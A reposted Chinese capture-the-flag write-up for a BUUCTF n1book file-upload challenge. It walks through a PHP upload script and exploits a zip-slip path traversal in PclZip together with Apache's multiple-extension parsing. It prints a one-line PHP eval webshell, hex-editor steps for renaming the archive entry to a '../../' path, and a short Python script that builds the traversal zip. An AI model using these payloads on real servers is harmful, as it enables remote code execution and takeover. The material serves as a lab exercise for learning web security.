尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

zip slip目录遍历加n1例题

zip slip目录遍历加n1例题
📅 发布时间:2026/6/18 13:26:21

题目:buuctf的n1book [第二章 web进阶]文件上传

一、题目源码:

这里看到每5分钟清理一次,一开始以为是条件竞争,但是代码审计过后,发现但代码中 check_dir 在每次上传后都立即运行,所以可以排除

<?php
header("Content-Type:text/html; charset=utf-8");
// 每5分钟会清除一次目录下上传的文件
require_once('pclzip.lib.php');if(!$_FILES){echo '<!DOCTYPE html>
<html lang="zh">
<head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <meta http-equiv="X-UA-Compatible" content="ie=edge" />
    <title>文件上传章节练习题</title>
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@3.3.7/dist/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
    <style type="text/css">
        .login-box{
            margin-top: 100px;
            height: 500px;
            border: 1px solid #000;
        }
        body{
            background: white;
        }
        .btn1{
            width: 200px;
        }
        .d1{
            display: block;
            height: 400px;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="login-box col-md-12">
        <form class="form-horizontal" method="post" enctype="multipart/form-data" >
            <h1>文件上传章节练习题</h1>
            <hr />
            <div class="form-group">
                <label class="col-sm-2 control-label">选择文件:</label>
                <div class="input-group col-sm-10">
                    <div >
                    <label for="">
                        <input type="file" name="file" />
                    </label>
                    </div>
                </div>
            </div>        <div class="col-sm-8  text-right">
            <input type="submit" class="btn btn-success text-right btn1" />
        </div>
        </form>
        </div>
    </div>
</body>
</html>
';show_source(__FILE__);
}else{$file = $_FILES['file'];if(!$file){exit("请勿上传空文件");}$name = $file['name'];$dir = 'upload/';$ext = strtolower(substr(strrchr($name, '.'), 1));$path = $dir.$name;function check_dir($dir){$handle = opendir($dir);while(($f = readdir($handle)) !== false){if(!in_array($f, array('.', '..'))){if(is_dir($dir.$f)){check_dir($dir.$f.'/');}else{$ext = strtolower(substr(strrchr($f, '.'), 1));if(!in_array($ext, array('jpg', 'gif', 'png'))){unlink($dir.$f);}}}}}if(!is_dir($dir)){mkdir($dir);}$temp_dir = $dir.md5(time(). rand(1000,9999));if(!is_dir($temp_dir)){mkdir($temp_dir);}if(in_array($ext, array('zip', 'jpg', 'gif', 'png'))){if($ext == 'zip'){$archive = new PclZip($file['tmp_name']);foreach($archive->listContent() as $value){$filename = $value["filename"];if(preg_match('/\.php$/', $filename)){exit("压缩包内不允许含有php文件!");}}if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {check_dir($dir);exit("解压失败");}check_dir($dir);exit('上传成功!');}else{move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']);check_dir($dir);exit('上传成功!');}}else{exit('仅允许上传zip、jpg、gif、png文件!');}
}

解释:

基础设置与文件包含

<?php
header("Content-Type:text/html; charset=utf-8");
// 每5分钟会清除一次目录下上传的文件
require_once('pclzip.lib.php');
  • header(...): 设置网页输出的字符编码为 UTF-8,防止中文乱码。
  • 注释: 提示了一个关键信息:服务器上的上传目录每 5 分钟会自动清理一次。这意味着攻击者即使上传了文件,也必须在短时间内利用,否则文件会被删除
  • require_once('pclzip.lib.php'): 引入了一个名为 PclZip 的第三方 PHP 库,用于处理 ZIP 压缩包的解压功能,但它存在一个目录遍历漏洞

2. 前端页面逻辑 (未上传文件时)

if(!$_FILES){
    // 输出 HTML 表单代码...
    show_source(__FILE__);
}
  • 逻辑: 如果 $_FILES 超全局变量为空(即用户刚访问页面,还没有提交文件),则执行大括号内的代码。
  • HTML 输出: 打印出一个基于 Bootstrap 3.3.7 样式的网页,包含一个文件上传表单(<form enctype="multipart/form-data">)。这个表单允许用户选择文件并提交。
  • show_source(__FILE__): 它会直接在网页底部显示当前这个 PHP 文件的源代码。

3. 后端处理逻辑 (上传文件后)

当用户提交了文件,代码进入 else 分支进行处理。

3.1 变量初始化与空值检查

}else{
    $file = $_FILES['file']; // 获取上传的文件信息数组
    if(!$file){
        exit("请勿上传空文件"); // 如果没选文件,直接报错退出
    }
    $name = $file['name']; // 获取上传的原始文件名
    $dir = 'upload/'; // 定义基础上传目录
    $ext = strtolower(substr(strrchr($name, '.'), 1)); // 提取文件后缀名,并转为小写
    $path = $dir.$name; // 拼接路径(虽然定义了,但后面没直接用这个变量保存)
  • $ext 提取逻辑: strrchr($name, '.') 找到最后一个点,substr(..., 1) 去掉点只要后缀,strtolower 转小写。
  • $path: 虽然拼接了路径,但后续代码并没有直接使用这个变量来保存文件。

3.2 check_dir 函数定义

    function check_dir($dir){
        $handle = opendir($dir);
        while(($f = readdir($handle)) !== false){
            if(!in_array($f, array('.', '..'))){
                if(is_dir($dir.$f)){
                    check_dir($dir.$f.'/');
                }else{
                    $ext = strtolower(substr(strrchr($f, '.'), 1));
                    if(!in_array($ext, array('jpg', 'gif', 'png'))){
                        unlink($dir.$f); // 删除文件
                    }
                }
            }
        }
    }
  • 功能: 这是一个递归函数,用于扫描指定目录及其子目录下的所有文件。
  • 逻辑:
  • 遍历目录下的文件。
  • 如果是子目录,递归调用自己继续扫描。
  • 如果是文件,检查其后缀名。
  • 核心规则: 如果文件后缀不是 jpg, gif, 或 png,则使用 unlink() 将其删除。
  • 目的: 这是一个“兜底”机制。无论文件怎么上传进来,只要不是这三种图片格式,最终都会被这个函数清理掉。这通常是为了防止 WebShell(一句话木马)被上传。

3.3 目录创建逻辑

    if(!is_dir($dir)){
        mkdir($dir); // 如果 upload 目录不存在,创建它
    }    $temp_dir = $dir.md5(time(). rand(1000,9999));
    if(!is_dir($temp_dir)){
        mkdir($temp_dir); // 创建一个基于时间戳和随机数的唯一临时目录
    }
  • $temp_dir: 代码没有直接将文件上传到根目录,而是先创建了一个随机命名的子目录(例如 upload/5d41402abc4b2a76b9719d911017459b/)。这增加了攻击者猜测文件路径的难度。

3.4 文件类型验证与处理

    if(in_array($ext, array('zip', 'jpg', 'gif', 'png'))){
        if($ext == 'zip'){
            // 处理 ZIP 文件
            $archive = new PclZip($file['tmp_name']);            // 1. 检查压缩包内容
            foreach($archive->listContent() as $value){
                $filename = $value["filename"];
                if(preg_match('/\.php$/', $filename)){
                     exit("压缩包内不允许含有php文件!");
                 }
            }            // 2. 尝试解压
            if ($archive->extract(PCLZIP_OPT_PATH, $temp_dir, PCLZIP_OPT_REPLACE_NEWER) == 0) {
                check_dir($dir); // 解压失败则清理
                exit("解压失败");
            }
            check_dir($dir); // 解压成功后,运行清理函数
            exit('上传成功!');        }else{
            // 处理图片文件 (jpg, gif, png)
            move_uploaded_file($file['tmp_name'], $temp_dir.'/'.$file['name']);
            check_dir($dir);
            exit('上传成功!');
        }
    }else{
        exit('仅允许上传zip、jpg、gif、png文件!');
    }
}

逻辑详细拆解:

  1. 白名单检查: 首先检查上传文件的后缀是否在 zip, jpg, gif, png 之中。如果不是,直接拒绝。

  2. ZIP 文件处理分支:

  3. 实例化: 使用 PclZip 库加载临时文件。

  4. 内容扫描: 使用

    listContent()

    遍历压缩包内的所有文件名。使用正则

    preg_match('/\.php$/', $filename)

    严格检查是否有文件以 .php结尾

  5. 解压: 如果没有 PHP 文件,就解压到之前生成的随机临时目录 $temp_dir。

  6. 清理: 解压完成后,调用 check_dir($dir)。这意味着,如果解压出来的文件不是 jpg/gif/png,它们会被立刻删除,也就是没办法利用条件竞争了。

  7. 图片文件处理分支:

  8. 直接将上传的 jpg/gif/png 文件移动到随机临时目录。

  9. 调用 check_dir(对于合法图片来说,这一步不会删除它们)

利用思路:

【1】PclZip 漏洞: 利用 PclZip 库的已知漏洞目录遍历,将文件解压到 Web 目录外或绕过检查,压缩包文件目录穿越,压缩包内文件命名为/../../xxx.php.xxx

【2】Apache php解析漏洞,xxx.php.xxx被当成xxx.php解析

image-20260520202427885

这里随便访问一个不存在的文件,由报错可以发现是apache

实战

注:构造../../zzz.php.zzz也可以

【1】等下要构造/../../zzz.php.zzz文件,而通过010editor构造恶意压缩包,这里需要注意修改后的文件名长度与修改前一致,否则解压会报错

前面那个长度为18,所以修改前文件命名也要为18位,命名123456789012345678,再压缩为123456789012345678.zip,用010editor打开

#123456789012345678文件内容如下:
<?php @eval($_GET['sb']);?>

image-20260520210527195

【2】修改文件内容,展开上面的dirEntry

image-20260520210646589

【3】修改为/../../zzz.php.zzz,ctrl+s报存

image-20260520211104438

【4】上传123456789012345678.zip文件,再去访问得到flag

image-20260520211244758

或者直接python脚本生成:

import zipfilepayload = """sb
"""with zipfile.ZipFile("sb.zip", "w", zipfile.ZIP_DEFLATED) as z:z.writestr("../../xxx.php.xxx", payload)

解释:

(1)zipfile.ZipFile("sb.zip", "w", ...):创建一个名为 sb.zip 的新压缩包,模式为写入("w")。

(2)z.writestr(filename, data):这是最关键的一步。它不读取磁盘上的文件,而是直接将内存中的字符串 payload 写入压缩包,并指定其在压缩包内的文件名为 filename,这里由于题目好像只用生成了文件,他会自动添加flag到你那个文件里,所以就随便写个内容(sb)

本文来自博客园,作者:Doll_Marker,转载请注明原文链接:https://www.cnblogs.com/dollaikun/p/20627585

相关新闻

  • HPC II评估板从开箱到上电:硬件连接、Bootloader调试与Linux启动全解析
  • 并发编程(c++)——5.事件驱动
  • 基于NXP GenAVB栈的AVB/AVDECC音频流配置实战指南

最新新闻

  • 【共创季稿事节】鸿蒙原生 ArkTS 布局实战:用 Flex + FlexWrap + layoutWeight 实现优雅的伪网格排列
  • 2026年6月上海装修公司选购参考指南:高端整装、全屋定制、老房翻新、别墅自建房装修优质厂商汇总 - 海棠依旧大
  • 2026苏州卫生间免砸砖防水、楼顶漏水、外墙渗水、地下室阳光房渗漏;正规防水补漏公司免费上门,线上质保,售后无忧。房屋漏水不再愁,24小时一站式快速维修。 - 企业资讯
  • 2026 大连靠谱的卫生间防水补漏公司推荐 top5 推荐 - 防水资讯
  • 3个核心功能:d2s-editor暗黑破坏神2存档编辑器完全指南
  • 2026 上海靠谱的卫生间防水补漏公司推荐 top5 推荐 - 防水资讯

日新闻

  • 2026年不锈钢卷板厂家推荐排行榜:冷轧热轧/304/201不锈钢卷板,高颜值耐腐蚀源头厂家实力精选 - 企业推荐官【官方】
  • FLUX.1-dev FP8模型实战指南:24GB以下显卡高效部署方案
  • 2026佛山长途搬家价目表:跨省跨市搬家费用完整计算指南 - 从来都是英雄出少年

周新闻

  • 3步解锁iOS设备:applera1n激活锁绕过完全指南
  • 39 2026 人工智能证书终极盘点,普通人选 AI 证书可以从这些方向入手
  • Redis 暴露公网有多危险?从端口检查到补救步骤

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号